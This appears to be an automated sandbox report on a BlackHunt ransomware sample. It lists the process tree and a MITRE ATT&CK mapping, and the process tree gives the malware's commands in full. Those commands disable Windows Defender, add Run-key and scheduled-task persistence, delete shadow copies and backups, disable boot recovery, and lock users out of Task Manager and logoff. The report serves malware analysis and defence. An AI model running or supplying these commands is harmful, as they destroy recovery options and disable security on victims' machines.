  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4976
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2172
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:3012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2676
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:4292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3104
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3504
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1956
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:4852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1544
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1012
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:4820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4856
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2360
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:4328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:4448
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:3780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3708
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:3484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4348
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:4340
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:4900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:324
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:5040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1348
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:408
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:3880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1508
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:4744
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:3648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2304
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:3000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:3548
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4924
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1432
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3256
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3352
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:4344
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:4212
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:4388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe" /F
  2⤵
  PID:3840
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1984
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2284
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:3596
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:3568
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1444
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3264
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2736
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2168
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1448
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:4356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:4284
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:4236

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2968

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4236

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:4980

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:2516

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery